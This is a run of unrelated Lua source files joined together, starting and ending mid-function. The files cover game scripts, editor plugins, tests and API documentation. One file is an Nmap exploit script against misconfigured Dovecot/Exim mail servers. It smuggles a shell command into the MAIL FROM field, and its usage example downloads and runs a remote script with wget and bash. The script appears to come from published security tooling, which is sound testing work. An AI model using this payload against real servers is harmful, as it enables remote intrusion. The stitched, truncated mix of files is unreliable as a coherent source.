) ) end for property,value in pairs ( getVehicleHandling ( vehicle ) ) do xmlNodeSetAttribute ( xmlEntry, property, value ) end xmlSaveFile ( handlingXML ) xmlUnloadFile ( handlingXML ) return true end if serverside then addEvent ( "saveToResource", true ) addEventHandler ( "saveToResource", root, saveHandlingToResource ) end function loadHandlingFromResource ( vehicle, resource, model ) if not isValidVehicle ( vehicle ) then return false end resource = validateResourcePointer ( resource ) if not resource then return false end if not isValidVehicleModel ( model ) then return false end if clientside then local function trigger ( ) return triggerServerEvent ( "loadFromResource", root, vehicle, resource, model ) end if not isVehicleSaved ( vehicle ) then guiCreateWarningMessage ( "text.askToLoad", 2, {trigger} ) return true end trigger ( ) return true end local handlingXML = xmlLoadFile ( ":"..resource.."/handling.xml" ) if not handlingXML then outputDebugString ( "Can't retrieve resource handling as it has no handling file at 'loadHandlingFromResource'! ["..resource.."]", 2 ) return false end local xmlEntry = xmlFindChild ( handlingXML, tostring ( model ), 0 ) if not xmlEntry then outputDebugString ( "There's no handling for model "..tostring(model).." in resource "..resource.." at 'loadHandlingFromResource'!", 2 ) return false end local handlingTable = {} for property,value in pairs ( xmlNodeGetAttributes ( xmlEntry ) ) do handlingTable[property] = stringToValue ( property, value ) end loadHandlingTable ( handlingTable ) return true end if serverside then addEvent ( "loadFromResource", true ) addEventHandler ( "loadFromResource", root, loadHandlingFromResource ) end function saveHandlingToServer ( player, vehicle, name, description ) if not isValidPlayer ( player ) then return false end if not isValidVehicle ( vehicle ) then return false end if type ( name ) ~= "string" then return false end if type ( description ) ~= "string" then return false end local cache = xmlCache.serversaves[string.lower(name)] if clientside then local function trigger ( ) return triggerServerEvent ( "saveToServer", localPlayer, player, vehicle, name, description ) end if cache then guiCreateWarningMessage ( text.askToReplace, 2, {trigger} ) end trigger ( ) return true end local handlingXML = xmlGetFile ( server_handling_file ) if not handlingXML then handlingXML = xmlAddFile ( server_handling_file ) outputDebugString ( "Created new server handling file ["..tostring(handlingXML).."]" ) end if cache then xmlDestroyNode ( cache.node.save ) end local playerName = getPlayerName ( player ) local vehicleModel = tostring ( getElementModel ( vehicle ) ) local saveNode = xmlCreateChild ( handlingXML, "save" ) local handlingNode = xmlCreateChild ( saveNode, "handling" ) local addCache = { name = name, description = description, player = playerName, node = { save = saveNode, handling = handlingNode }, handling = {} } xmlNodeSetAttribute ( saveNode, "name", name ) xmlNodeSetAttribute ( saveNode, "description", description ) xmlNodeSetAttribute ( saveNode, "player", playerName ) for property,value in pairs ( getVehicleHandling ( vehicle ) ) do addCache.handling[property] = tostring ( value ) xmlNodeSetAttribute ( handlingNode, property, tostring ( value ) ) end xmlSaveFile ( handlingXML ) cache = addCache triggerClientEvent ( player, "updateClientCache", player, "serversaves", string.lower ( name ), addCache ) addLogEntry ( --[[ FILL ME ]] ) return true end if serverside then addEvent ( "saveToServer", true ) addEventHandler ( "saveToServer", root, saveHandlingToServer ) end function saveHandlingToClient ( vehicle, name, description ) if not isValidVehicle ( vehicle ) then return false end local handlingXML = xmlGetFile ( client_handling_file ) if not handlingXML then handlingXML = xmlAddFile ( client_handling_file ) outputDebugString ( "Created new client handling file ["..tostring(handlingXML).."]" ) end local cache = xmlCache.clientsaves[string.lower(name)] local text = language[setting.language] -------------------------------------------------- local function save ( ) local vehicleModel = tostring ( getElementModel ( vehicle ) ) -- MODEL NEEDED? its included with the handling! local saveNode = xmlCreateChild ( handlingXML, "save" ) local handlingNode = xmlCreateChild ( saveNode, "handling" ) cache = { model = vehicleModel, name = name, description = description, node = { save = saveNode, handling = handlingNode }, handling = {} } xmlNodeSetAttribute ( saveNode, "model", vehicleModel ) xmlNodeSetAttribute ( saveNode, "name", name ) xmlNodeSetAttribute ( saveNode, "description", description ) for property,value in pairs ( getVehicleHandling ( vehicle ) ) do cache.handling[property] = tostring ( value ) xmlNodeSetAttribute ( handlingNode, property, tostring ( value ) ) end xmlSaveFile ( handlingXML ) outputHandlingLog ( text.succesSavedClient ) showMenu ( previousMenu ) return true end -------------------------------------------------- if cache then local function func ( ) xmlDestroyNode ( cache.node.save ) save ( ) end guiCreateWarningMessage ( text.askToReplace, 2, {func} ) return true end save ( ) return true end function loadHandlingFromClient ( vehicle, lowerCaseName ) loadHandling ( vehicle, lowerCaseName, "clientsaves" ) return end function loadHandlingFromServer ( vehicle, lowerCaseName ) loadHandling ( vehicle, lowerCaseName, "serversaves" ) return end function loadHandling ( vehicle, lowerCaseName, cacheLib ) if not isValidVehicle ( vehicle ) then return false end local cache = xmlCache[cachelib][lowerCaseName] if not cache then outputHandlingLog ( "unexisting save" ) return false end local function hndload ( ) loadHandlingTable ( vehicle, cache.handling ) showMenu ( previousMenu ) end if not isSaved ( vehicle ) then guiCreateWarningMessage ( text.askToLoad, 2, {hndload} ) return true end hndload ( ) end function shareHandlingWithPlayer ( senderPlayer, targetPlayer, vehicle ) if not isValidPlayer ( senderPlayer ) then return false end if not isValidPlayer ( targetPlayer ) then return false end if not isValidVehicle ( vehicle ) then return false end if clientside then triggerServerEvent ( "shareHandling", localPlayer, senderPlayer, targetPlayer, vehicle ) --guiCreateWarningMessage ( "string to replace | send your handling to player "..getPlayerName ( targetPlayer ) ) return true end triggerClientEvent ( targetPlayer, "receiveHandling", targetPlayer, senderPlayer, vehicle ) return true end if serverside then addEvent ( "shareHandling", true ) addEventHandler ( "shareHandling", root, shareHandlingWithPlayer ) end function receiveSharedHandling ( senderPlayer, vehicle ) outputDebugString ( "Recieved handling from "..getPlayerName ( senderPlayer ).." :D" ) return true end addEvent ( "receiveHandling", true ) addEventHandler ( "receiveHandling", root, receiveSharedHandling )
---- -- Tests for the xlsxwriter.lua xml writer class. -- -- Copyright 2014-2015, John McNamara, jmcnamara@cpan.org -- require "Test.More" local utility = require "xlsxwriter.utility" local expected local got local caption local color plan(4) ---- -- Test color conversions. -- color = 'blue' caption = string.format(" \tcolor('%s')", color) expected = 'FF0000FF' got = utility.excel_color(color) is(got, expected, caption) ---- -- Test color conversions. -- color = 'yellow' caption = string.format(" \tcolor('%s')", color) expected = 'FFFFFF00' got = utility.excel_color(color) is(got, expected, caption) ---- -- Test color conversions. -- color = '#0000FF' caption = string.format(" \tcolor('%s')", color) expected = 'FF0000FF' got = utility.excel_color(color) is(got, expected, caption) ---- -- Test color conversions. -- color = '#0000Ff' caption = string.format(" \tcolor('%s')", color) expected = 'FF0000FF' got = utility.excel_color(color) is(got, expected, caption)
require "autodeconstruct" function msg_all(message) if message[1] == "autodeconstruct-debug" then table.insert(message, 2, debug.getinfo(2).name) end for _,p in pairs(game.players) do p.print(message) end end global.debug = false remote.add_interface("ad", { debug = function() global.debug = not global.debug end, init = function() autodeconstruct.init_globals() end }) script.on_init(function() local _, err = pcall(autodeconstruct.init_globals) if err then msg_all({"autodeconstruct-err-generic", err}) end end) script.on_configuration_changed(function() local _, err = pcall(autodeconstruct.init_globals) if err then msg_all({"autodeconstruct-err-generic", err}) end end) script.on_event(defines.events.on_runtime_mod_setting_changed, function(event) if (event.setting == "autodeconstruct-remove-fluid-drills" and settings.global['autodeconstruct-remove-fluid-drills'].value == true) then local _, err = pcall(autodeconstruct.init_globals) if err then msg_all({"autodeconstruct-err-generic", err}) end end end) script.on_event(defines.events.on_cancelled_deconstruction, function(event) local _, err = pcall(autodeconstruct.on_cancelled_deconstruction, event) if err then msg_all({"autodeconstruct-err-specific", "on_cancelled_deconstruction", err}) end end, {{filter="type", type="mining-drill"}} ) script.on_event(defines.events.on_resource_depleted, function(event) local _, err = pcall(autodeconstruct.on_resource_depleted, event) if err then msg_all({"autodeconstruct-err-specific", "on_resource_depleted", err}) end end)
local stub = require("luassert.stub") describe("config", function() local c = require("null-ls.config") local register = stub(require("null-ls.sources"), "register") local reset = stub(require("null-ls.sources"), "reset") after_each(function() register:clear() reset:clear() c.reset() end) describe("get", function() it("should get config", function() c.setup({ debounce = 500 }) assert.equals(c.get().debounce, 500) end) end) describe("reset", function() it("should reset config to defaults", function() c.setup({ debounce = 500 }) c.reset() assert.equals(c.get().debounce, 250) end) it("should call sources.reset", function() c.reset() assert.stub(reset).was_called() end) end) describe("setup", function() it("should set simple config value", function() local debounce = 999 c.setup({ debounce = debounce }) assert.equals(c.get().debounce, debounce) end) it("should only setup config once", function() c.setup({ debounce = 999 }) c.setup({ debounce = 1 }) assert.equals(c.get().debounce, 999) end) it("should throw if simple config type does not match", function() local debounce = "999" local ok, err = pcall(c.setup, { debounce = debounce }) assert.equals(ok, false) assert.matches("expected number", err) end) it("should set override config value", function() local on_attach = stub.new() local _on_attach = function() on_attach() end c.setup({ on_attach = _on_attach }) c.get().on_attach() assert.stub(on_attach).was_called() end) it("should throw if override config type does not match", function() local on_attach = { "my function" } local ok, err = pcall(c.setup, { on_attach = on_attach }) assert.equals(ok, false) assert.matches("expected function, nil", err) end) it("should throw if config value is private", function() local ok, err = pcall(c.setup, { _setup = true }) assert.equals(ok, false) assert.matches("expected nil", err) end) it("should register sources", function() local mock_sources = { "mock-source", "mock-source-2" } c.setup({ sources = mock_sources }) assert.stub(register).was_called_with(mock_sources) end) end) end)
description = [[ Attempts to exploit a remote command execution vulnerability in misconfigured Dovecot/Exim mail servers. It is important to note that the mail server will not return the output of the command. The mail server also wont allow space characters but they can be replaced with "${IFS}". Commands can also be concatenated with "``". The script takes care of the conversion automatically. References: * https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution * http://immunityproducts.blogspot.mx/2013/05/how-common-is-common-exim-and-dovecot.html * CVE not available yet ]] --- -- @usage nmap -sV --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="uname -a" <target> -- @usage nmap -p586 --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="wget -O /tmp/p example.com/test.sh;bash /tmp/p" <target> -- -- @output -- PORT STATE SERVICE REASON -- 465/tcp open smtps syn-ack -- |_smtp-dovecot-exim-exec: Malicious payload delivered:250 OK id=XXX -- -- @args smtp-dovecot-exim-exec.cmd Command to execute. Separate commands with ";". -- @args smtp-dovecot-exim-exec.auth Authentication scheme (Optional). -- @args smtp-dovecot-exim-exec.user Authentication username (Optional). -- @args smtp-dovecot-exim-exec.pwd Authentication password (Optional). -- @args smtp-dovecot-exim-exec.from Email address to use in the FROM field. Default: nmap+domain. (Optional). -- @args smtp-dovecot-exim-exec.to Email address to use in the TO field. Default: nmap@mailinator.com -- @args smtp-dovecot-exim-exec.timeout Timeout value. Default: 8000. (Optional) -- @args smtp-dovecot-exim-exec.domain Domain name to use. It attempts to set this field automatically. (Optional) --- author = "Paulino Calderon <calderon@websec.mx>" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit"} local smtp = require "smtp" local shortport = require "shortport" local stdnse = require "stdnse" portrule = shortport.port_or_service({25, 465, 587}, {"smtp", "smtps", "submission"}) action = function(host, port) local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname" --Prepare payload cmd = string.gsub(cmd, " ", "${IFS}") cmd = string.gsub(cmd, ";", "``") local user = stdnse.get_script_args(SCRIPT_NAME..".user") or nil local pwd = stdnse.get_script_args(SCRIPT_NAME..".pwd") or nil local from = stdnse.get_script_args(SCRIPT_NAME..".from") or "nmap@"..smtp.get_domain(host) local to = stdnse.get_script_args(SCRIPT_NAME..".to") or "nmap@mailinator.com" local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 8000 local smtp_domain = stdnse.get_script_args(SCRIPT_NAME..".domain") or smtp.get_domain(host) local smtp_opts = { ssl = true, timeout = conn_timeout, recv_before = true, lines = 1 } local smtp_conn = smtp.connect(host, port, smtp_opts) local status, resp = smtp.ehlo(smtp_conn, smtp_domain) local auth_mech = stdnse.get_script_args(SCRIPT_NAME..".auth") or smtp.get_auth_mech(resp) if type(auth_mech) == "string" then auth_mech = { auth_mech } end if (user and pwd) then status = false stdnse.print_debug(1, "%s:Mail server requires authentication.", SCRIPT_NAME) for i, mech in ipairs(auth_mech) do stdnse.print_debug(1, "Trying to authenticate using the method:%s", mech) status, resp = smtp.login(smtp_conn, user, pwd, mech) if status then break end end if not(status) then stdnse.print_debug(1, "%s:Authentication failed using user '%s' and password '%s'", SCRIPT_NAME, user, pwd) return nil end end --Sends MAIL cmd and injects malicious payload local from_frags = stdnse.strsplit("@", from) local malicious_from_field = from_frags[1].."`"..cmd.."`@"..from_frags[2] stdnse.print_debug(1, "%s:Setting malicious MAIL FROM field to:%s", SCRIPT_NAME, malicious_from_field) status, resp = smtp.mail(smtp_conn, malicious_from_field) if not(status) then stdnse.print_debug(1, "%s:Payload failed:%s", SCRIPT_NAME, resp) return nil end --Sets recipient status, resp = smtp.recipient(smtp_conn, to) if not(status) then stdnse.print_debug(1, "%s:Cannot set recipient:%s", SCRIPT_NAME, resp) return nil end --Sets data and deliver email status, resp = smtp.datasend(smtp_conn, "nse") if status then return string.format("Malicious payload delivered:%s", resp) else stdnse.print_debug(1, "%s:Payload could not be delivered:%s", SCRIPT_NAME, resp) end return nil end
local factory = require 'factories.lt_factory' return factory.createLevelApi{mapName = 'lt_horseshoe_color', color = true}
local FriendList = { Name = "FriendList", Type = "System", Namespace = "C_FriendList", Functions = { { Name = "AddFriend", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, { Name = "notes", Type = "string", Nilable = true }, }, }, { Name = "AddIgnore", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, }, Returns = { { Name = "added", Type = "bool", Nilable = false }, }, }, { Name = "AddOrDelIgnore", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, }, }, { Name = "AddOrRemoveFriend", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, { Name = "notes", Type = "string", Nilable = false }, }, }, { Name = "DelIgnore", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, }, Returns = { { Name = "removed", Type = "bool", Nilable = false }, }, }, { Name = "DelIgnoreByIndex", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, }, }, { Name = "GetFriendInfo", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, }, Returns = { { Name = "info", Type = "FriendInfo", Nilable = false }, }, }, { Name = "GetFriendInfoByIndex", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, }, Returns = { { Name = "info", Type = "FriendInfo", Nilable = false }, }, }, { Name = "GetIgnoreName", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, }, Returns = { { Name = "name", Type = "string", Nilable = true }, }, }, { Name = "GetNumFriends", Type = "Function", Returns = { { Name = "numFriends", Type = "number", Nilable = false }, }, }, { Name = "GetNumIgnores", Type = "Function", Returns = { { Name = "numIgnores", Type = "number", Nilable = false }, }, }, { Name = "GetNumOnlineFriends", Type = "Function", Returns = { { Name = "numOnline", Type = "number", Nilable = false }, }, }, { Name = "GetNumWhoResults", Type = "Function", Returns = { { Name = "numWhos", Type = "number", Nilable = false }, { Name = "totalNumWhos", Type = "number", Nilable = false }, }, }, { Name = "GetSelectedFriend", Type = "Function", Returns = { { Name = "index", Type = "number", Nilable = true }, }, }, { Name = "GetSelectedIgnore", Type = "Function", Returns = { { Name = "index", Type = "number", Nilable = true }, }, }, { Name = "GetWhoInfo", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, }, Returns = { { Name = "info", Type = "WhoInfo", Nilable = false }, }, }, { Name = "IsFriend", Type = "Function", Arguments = { { Name = "guid", Type = "string", Nilable = false }, }, Returns = { { Name = "isFriend", Type = "bool", Nilable = false }, }, }, { Name = "IsIgnored", Type = "Function", Arguments = { { Name = "token", Type = "string", Nilable = false }, }, Returns = { { Name = "isIgnored", Type = "bool", Nilable = false }, }, }, { Name = "IsIgnoredByGuid", Type = "Function", Arguments = { { Name = "guid", Type = "string", Nilable = false }, }, Returns = { { Name = "isIgnored", Type = "bool", Nilable = false }, }, }, { Name = "RemoveFriend", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, }, Returns = { { Name = "removed", Type = "bool", Nilable = false }, }, }, { Name = "RemoveFriendByIndex", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, }, }, { Name = "SendWho", Type = "Function", Arguments = { { Name = "filter", Type = "string", Nilable = false }, }, }, { Name = "SetFriendNotes", Type = "Function", Arguments = { { Name = "name", Type = "string", Nilable = false }, { Name = "notes", Type = "string", Nilable = false }, }, Returns = { { Name = "found", Type = "bool", Nilable = false }, }, }, { Name = "SetFriendNotesByIndex", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, { Name = "notes", Type = "string", Nilable = false }, }, }, { Name = "SetSelectedFriend", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, }, }, { Name = "SetSelectedIgnore", Type = "Function", Arguments = { { Name = "index", Type = "number", Nilable = false }, }, }, { Name = "SetWhoToUi", Type = "Function", Arguments = { { Name = "whoToUi", Type = "bool", Nilable = false }, }, }, { Name = "ShowFriends", Type = "Function", }, { Name = "SortWho", Type = "Function", Arguments = { { Name = "sorting", Type = "string", Nilable = false }, }, }, }, Events = { { Name = "BattletagInviteShow", Type = "Event", LiteralName = "BATTLETAG_INVITE_SHOW", Payload = { { Name = "name", Type = "string", Nilable = false }, }, }, { Name = "BnBlockFailedTooMany", Type = "Event", LiteralName = "BN_BLOCK_FAILED_TOO_MANY", Payload = { { Name = "blockType", Type = "string", Nilable = false }, }, }, { Name = "BnBlockListUpdated", Type = "Event", LiteralName = "BN_BLOCK_LIST_UPDATED", }, { Name = "BnChatWhisperUndeliverable", Type = "Event", LiteralName = "BN_CHAT_WHISPER_UNDELIVERABLE", Payload = { { Name = "senderID", Type = "number", Nilable = false }, }, }, { Name = "BnConnected", Type = "Event", LiteralName = "BN_CONNECTED", Payload = { { Name = "suppressNotification", Type = "bool", Nilable = false, Default = false }, }, }, { Name = "BnCustomMessageChanged", Type = "Event", LiteralName = "BN_CUSTOM_MESSAGE_CHANGED", Payload = { { Name = "id", Type = "number", Nilable = true }, }, }, { Name = "BnCustomMessageLoaded", Type = "Event", LiteralName = "BN_CUSTOM_MESSAGE_LOADED", }, { Name = "BnDisconnected", Type = "Event", LiteralName = "BN_DISCONNECTED", Payload = { { Name = "result", Type = "bool", Nilable = false }, { Name = "suppressNotification", Type = "bool", Nilable = false, Default = false }, }, }, { Name = "BnFriendAccountOffline", Type = "Event", LiteralName = "BN_FRIEND_ACCOUNT_OFFLINE", Payload = { { Name = "friendId", Type = "number", Nilable = false }, { Name = "isCompanionApp", Type = "bool", Nilable = false, Default = false }, }, }, { Name = "BnFriendAccountOnline", Type = "Event", LiteralName = "BN_FRIEND_ACCOUNT_ONLINE", Payload = { { Name = "friendId", Type = "number", Nilable = false }, { Name = "isCompanionApp", Type = "bool", Nilable = false, Default = false }, }, }, { Name = "BnFriendInfoChanged", Type = "Event", LiteralName = "BN_FRIEND_INFO_CHANGED", Payload = { { Name = "friendIndex", Type = "number", Nilable = true }, }, }, { Name = "BnFriendInviteAdded", Type = "Event", LiteralName = "BN_FRIEND_INVITE_ADDED", Payload = { { Name = "accountID", Type = "number", Nilable = false }, }, }, { Name = "BnFriendInviteListInitialized", Type = "Event", LiteralName = "BN_FRIEND_INVITE_LIST_INITIALIZED", Payload = { { Name = "listSize", Type = "number", Nilable = false }, }, }, { Name = "BnFriendInviteRemoved", Type = "Event", LiteralName = "BN_FRIEND_INVITE_REMOVED", }, { Name = "BnFriendListSizeChanged", Type = "Event", LiteralName = "BN_FRIEND_LIST_SIZE_CHANGED", Payload = { { Name = "accountID", Type = "number", Nilable = true }, }, }, { Name = "BnInfoChanged", Type = "Event", LiteralName = "BN_INFO_CHANGED", }, { Name = "BnRequestFofSucceeded", Type = "Event", LiteralName = "BN_REQUEST_FOF_SUCCEEDED", }, { Name = "FriendlistUpdate", Type = "Event", LiteralName = "FRIENDLIST_UPDATE", }, { Name = "IgnorelistUpdate", Type = "Event", LiteralName = "IGNORELIST_UPDATE", }, { Name = "MutelistUpdate", Type = "Event", LiteralName = "MUTELIST_UPDATE", }, { Name = "WhoListUpdate", Type = "Event", LiteralName = "WHO_LIST_UPDATE", }, }, Tables = { { Name = "FriendInfo", Type = "Structure", Fields = { { Name = "connected", Type = "bool", Nilable = false }, { Name = "name", Type = "string", Nilable = false }, { Name = "className", Type = "string", Nilable = true }, { Name = "area", Type = "string", Nilable = true }, { Name = "notes", Type = "string", Nilable = true }, { Name = "guid", Type = "string", Nilable = false }, { Name = "level", Type = "number", Nilable = false }, { Name = "dnd", Type = "bool", Nilable = false }, { Name = "afk", Type = "bool", Nilable = false }, { Name = "rafLinkType", Type = "RafLinkType", Nilable = false }, { Name = "mobile", Type = "bool", Nilable = false }, }, }, { Name = "WhoInfo", Type = "Structure", Fields = { { Name = "fullName", Type = "string", Nilable = false }, { Name = "fullGuildName", Type = "string", Nilable = false }, { Name = "level", Type = "number", Nilable = false }, { Name = "raceStr", Type = "string", Nilable = false }, { Name = "classStr", Type = "string", Nilable = false }, { Name = "area", Type = "string", Nilable = false }, { Name = "filename", Type = "string", Nilable = true }, { Name = "gender", Type = "number", Nilable = false }, }, }, }, }; APIDocumentation:AddDocumentationTable(FriendList);
registerNpc(346, { walk_speed = 200, run_speed = 700, scale = 140, r_weapon = 1064, l_weapon = 0, level = 95, hp = 27, attack = 399, hit = 213, def = 301, res = 346, avoid = 143, attack_spd = 95, is_magic_damage = 1, ai_type = 128, give_exp = 77, drop_type = 377, drop_money = 10, drop_item = 48, union_number = 48, need_summon_count = 0, sell_tab0 = 0, sell_tab1 = 0, sell_tab2 = 0, sell_tab3 = 0, can_target = 0, attack_range = 1200, npc_type = 7, hit_material_type = 1, face_icon = 0, summon_mob_type = 0, quest_type = 0, height = 0 }); function OnInit(entity) return true end function OnCreate(entity) return true end function OnDelete(entity) return true end function OnDead(entity) end function OnDamaged(entity) end
local mpv_scripts_dir_path = os.getenv("HOME") .. "/.config/mpv/scripts/" function load(relative_path) dofile(mpv_scripts_dir_path .. relative_path) end load("mpvSockets/mpvSockets.lua")
local omar = 1 if true then print (omar) end print(225/2)
-- Petit script pour démarrer le mode configuration WIFI du NodeMCU print("\n wifi_cnf_start.lua zf180824.2000 \n") print("\nwifi config http://192.168.4.1\n") dofile("wifi_get_ip.lua") enduser_setup.start()
--[[ local lspconfig = require("lspconfig")
local event = require('cmp.utils.event') local autocmd = require('cmp.utils.autocmd') local feedkeys = require('cmp.utils.feedkeys') local config = require('cmp.config') local types = require('cmp.types') local keymap = require('cmp.utils.keymap') local misc = require('cmp.utils.misc') local api = require('cmp.utils.api') ---@class cmp.CustomEntriesView ---@field private offset number ---@field private active boolean ---@field private entries cmp.Entry[] ---@field public event cmp.Event local statusline_entries_view = {} statusline_entries_view.ns = vim.api.nvim_create_namespace('cmp.view.statusline_entries_view') statusline_entries_view.init = function(self) self.event = event.new() self.offset = -1 self.active = false self.entries = {} self.org_statusline = nil self.selected_index = nil self.last_displayed_indices = {} self.moving_forwards = nil end statusline_entries_view.new = function() local self = setmetatable({}, { __index = statusline_entries_view }) self:init() autocmd.subscribe( 'CompleteChanged', vim.schedule_wrap(function() if self:visible() and vim.fn.pumvisible() == 1 then self:close() end end) ) return self end statusline_entries_view.close = function(self) if self.org_statusline ~= nil then vim.o.statusline = self.org_statusline end self:init() end statusline_entries_view.ready = function() return vim.fn.pumvisible() == 0 end statusline_entries_view.on_change = function(self) self.active = false end statusline_entries_view.open = function(self, offset, entries) if self.org_statusline == nil then self.org_statusline = vim.o.statusline end self.offset = offset self.entries = {} self.last_displayed_indices = {} local lines = {} local dedup = {} local preselect = 0 local i = 1 for _, e in ipairs(entries) do local view = e:get_view(offset, 0) if view.dup == 1 or not dedup[e.completion_item.label] then dedup[e.completion_item.label] = true table.insert(self.entries, e) table.insert(lines, ' ') if preselect == 0 and e.completion_item.preselect then preselect = i end i = i + 1 end end if preselect > 0 and config.get().preselect == types.cmp.PreselectMode.Item then self:_select(preselect, { behavior = types.cmp.SelectBehavior.Select }) elseif not string.match(config.get().completion.completeopt, 'noselect') then self:_select(1, { behavior = types.cmp.SelectBehavior.Select }) else self:_select(nil, { behavior = types.cmp.SelectBehavior.Select }) end end statusline_entries_view.abort = function(self) feedkeys.call('', 'n', function() self:close() end) end -- format entry for status line. -- only use the 'abbr' field -- return formatted text, original text, view length statusline_entries_view.highlight_entry = function(self, entry) local view = entry:get_view(self.offset, 0) local word = view['abbr'].text local view_length = view['abbr'].bytes local hl_group = '%#' .. view['abbr'].hl_group .. '#' local fuzzy_group = '%#' .. 'CmpItemAbbrMatchFuzzy' .. '#' local match_group = '%#' .. 'CmpItemAbbrMatch' .. '#' local text = {hl_group} local last_offset = 1 for _, m in ipairs(entry.matches or {}) do if m.word_match_start > last_offset then -- add everything b4 m.word_match_start table.insert(text, word:sub(last_offset, m.word_match_start - 1)) end table.insert(text, m.fuzzy and fuzzy_group or match_group) table.insert(text, word:sub(m.word_match_start, m.word_match_end)) table.insert(text, hl_group) last_offset = m.word_match_end + 1 end table.insert(text, '%#Normal#') table.insert(text, word:sub(last_offset)) return table.concat(text, ''), word, view_length end statusline_entries_view.draw = function(self) local texts = {} local lengths = {} for i, e in ipairs(self.entries) do if e then local formatted_text, text, view_length = self:highlight_entry(e) if i == self.selected_index then formatted_text = '%#CursorLine#' .. text .. '%#Normal#' end table.insert(lengths, view_length) table.insert(texts, formatted_text) end end local selected_index = (self.selected_index or 1) local start_index = (self.selected_index or 1) local lst_dspl_ind = self.last_displayed_indices if #lst_dspl_ind == 0 then start_index = start_index elseif vim.tbl_contains(lst_dspl_ind, selected_index) then start_index = lst_dspl_ind[1] -- elseif start_index > lst_dspl_ind[#lst_dspl_ind] then elseif self.moving_forwards then local needed_length = lengths[selected_index] start_index = lst_dspl_ind[1] while needed_length > 0 and vim.tbl_contains(lst_dspl_ind, start_index) do needed_length = needed_length - lengths[start_index] start_index = start_index + 1 end else -- we need to scroll back local needed_length = lengths[selected_index] start_index = lst_dspl_ind[1] while needed_length > 0 and vim.tbl_contains(lst_dspl_ind, start_index) do needed_length = needed_length - lengths[start_index] start_index = start_index - 1 if start_index <= 0 then start_index = #self.entries end end end local statusline = {} local total_length = 0 local displayed_indices = {} for index = start_index, #self.entries * 2 do if index > #self.entries then index = index - #self.entries end if total_length + lengths[index] < vim.api.nvim_win_get_width(0) then if total_length ~= 0 and index == start_index then break end table.insert(statusline, texts[index]) table.insert(displayed_indices, index) -- add 1 for the space between items total_length = total_length + lengths[index] + 1 else break end end statusline = table.concat(statusline, '|') self.last_displayed_indices = displayed_indices vim.o.statusline = statusline vim.api.nvim_win_call(0, function() misc.redraw() end) end statusline_entries_view.visible = function(self) return self.org_statusline ~= nil end statusline_entries_view.info = function(self) return nil end statusline_entries_view.select_next_item = function(self, option) if self:visible() then self.moving_forwards = true if self.selected_index == nil or self.selected_index == #self.entries then self:_select(1, option) else self:_select(self.selected_index + 1, option) end end end statusline_entries_view.select_prev_item = function(self, option) if self:visible() then self.moving_forwards = false if self.selected_index == nil or self.selected_index <= 1 then self:_select(#self.entries, option) else self:_select(self.selected_index - 1, option) end end end statusline_entries_view.get_first_entry = function(self) if self:visible() then return self.entries[1] end end statusline_entries_view.get_selected_entry = function(self) if self:visible() and self.active then return self.entries[self.selected_index] end end statusline_entries_view.get_active_entry = function(self) if self:visible() and self.active then return self:get_selected_entry() end end statusline_entries_view._select = function(self, selected_index, option) self.selected_index = selected_index self.active = (selected_index ~= nil) if self.active then local cursor = api.get_cursor() local word = self:get_active_entry():get_vim_item(self.offset).word local length = vim.fn.strchars(string.sub(api.get_current_line(), self.offset, cursor[2]), true) vim.api.nvim_feedkeys(keymap.backspace(length) .. word, 'int', true) end self:draw() self.event:emit('change') end return statusline_entries_view
return Def.Quad{ InitCommand=cmd(Center;FullScreen;diffuse,color("0,0,0,0");); OnCommand=cmd(linear,0.3;diffusealpha,0.75); };
local math2d = require("math2d") local BulletBase = class("BulletBase") BulletBase.FLAG_NORMAL = 0 BulletBase.FLAG_FROM_SKILL = 1 function BulletBase:ctor(source, target, sprite, delay) self.source_ = source self.target_ = target self.sprite_ = sprite self.delay_ = checknumber(delay) self.flag_ = 0 self.damage_ = math.random(source.minDamage_, source.maxDamage_) self.damageScale_ = 1 self.hit_ = math.random(100) <= source.hitrate_ self.critical_ = math.random(100) <= source.critical_ self.startX_ = source.x_ + source.radiusOffsetX_ + source.fireOffsetX_ self.startY_ = source.y_ + source.radiusOffsetY_ + source.fireOffsetY_ self.prevX_ = self.startX_ self.prevY_ = self.startY_ self.time_ = 0 self.over_ = false self.isBegan_ = false end function BulletBase:setFlag(flag) self.flag_ = flag end function BulletBase:getView() return self.sprite_ end function BulletBase:removeView() self.sprite_:removeSelf() end function BulletBase:tick(dt) if not self.isBegan_ then if self.delay_ <= 0 then self:fireBegan() else self.delay_ = self.delay_ - dt return end end self.time_ = self.time_ + dt self:tickBullet(dt) end function BulletBase:fireBegan() if self.source_.destroyed_ then self.time_ = 0 self.over_ = true self.isBegan_ = false return end local source = self.source_ self.startX_ = source.x_ + source.radiusOffsetX_ + source.fireOffsetX_ self.startY_ = source.y_ + source.radiusOffsetY_ + source.fireOffsetY_ self.prevX_ = self.startX_ self.prevY_ = self.startY_ self.isBegan_ = true end function BulletBase:tickBullet(dt) end function BulletBase:checkHit() if not self.hit_ then self:miss() return false end local target = self.target_ if target and (target.collisionLock_ > 0 or not target.collisionEnabled_ or target.destroyed_) then self:miss() return false end local x, y = self.sprite_:getPosition() local targetX = target.x_ + target.radiusOffsetX_ local targetY = target.y_ + target.radiusOffsetY_ if math2d.dist(x, y, targetX, targetY) <= target.radius_ then self:hit() return true end self:miss() return false end function 